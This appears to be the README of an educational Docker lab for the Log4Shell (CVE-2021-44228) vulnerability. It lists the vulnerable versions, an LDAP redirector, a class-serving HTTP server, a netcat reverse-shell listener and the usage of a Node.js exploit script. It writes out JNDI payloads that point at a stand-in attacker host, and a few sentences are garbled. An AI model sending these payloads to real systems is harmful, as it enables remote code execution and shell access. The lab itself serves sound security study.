
Docker-based educational lab demonstrating Log4Shell (CVE-2021-44228) RCE exploitation with a vulnerable Java application, LDAP redirector, and automated exploit script.
DISCLAIMER
This lab was created exclusively for educational and security research purposes. All traffic occurs within an isolated Docker network. Do not use this material on real systems or without explicit authorization. Misuse may be a crime. Use responsibly.
Log4Shell is a critical vulnerability (CVSS 10.0) discovered in December 2021 in the Apache Log4j 2 logging library, widely used in Java applications.
Log4j has an expression interpolation feature: when logging a message, it evaluates strings in the ${...} format. For example, ${java:version} is replaced by the Java version at runtime.
The problem lies in support for the JNDI (Java Naming and Directory Interface) protocol. When Log4j encounters an expression like:
${jndi:ldap://attacker.com/exploit}
it instructs the JVM to make an LDAP query to the attacker's server. The server responds with a reference to a remote Java class — and the JVM , resulting in .
The attack vector is simple: any field logged by the server (HTTP headers, form fields, cookies, etc.) can be the entry point for the payload.
2.0-beta9 up to 2.14.12.15.0 (and definitively in 2.17.0)The lab simulates a real Java application using vulnerable versions.
| Component | Version | Why it is vulnerable |
|---|---|---|
| Apache Log4j | 2.14.1 | Evaluates ${jndi:...} without restrictions |
| JDK | 1.8.0_181 | Prior to patch 8u191 which sets trustURLCodebase=false |
| Spring Boot | 2.5.6 | Just the web framework; the vuln is in Log4j |
GET http://localhost:8080/log
The following headers are logged directly by Log4j — any one of them can be the injection vector:
X-Api-VersionUser-AgentX-Auth-Tokenattacker)| Service | Port | Function |
|---|---|---|
| marshalsec (LDAP) | 1389 | Receives the JNDI lookup and redirects to the HTTP server |
| Python HTTP server | 8888 | Serves Exploit.class to the victim's JVM |
| netcat listener | 9001 | Receives the reverse shell connection |
docker-compose up --build
Wait until you see in the logs:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
In another terminal, run the Node.js exploit:
node exploit/exploit.js
Expected output:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
Observe the terminal where docker-compose is running. In the attacker container logs you will see the reverse shell connection arriving on port 9001.
To confirm touch /tmp/pwned inside the vulnerable app:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
By Guaxinim | Cyber Security Research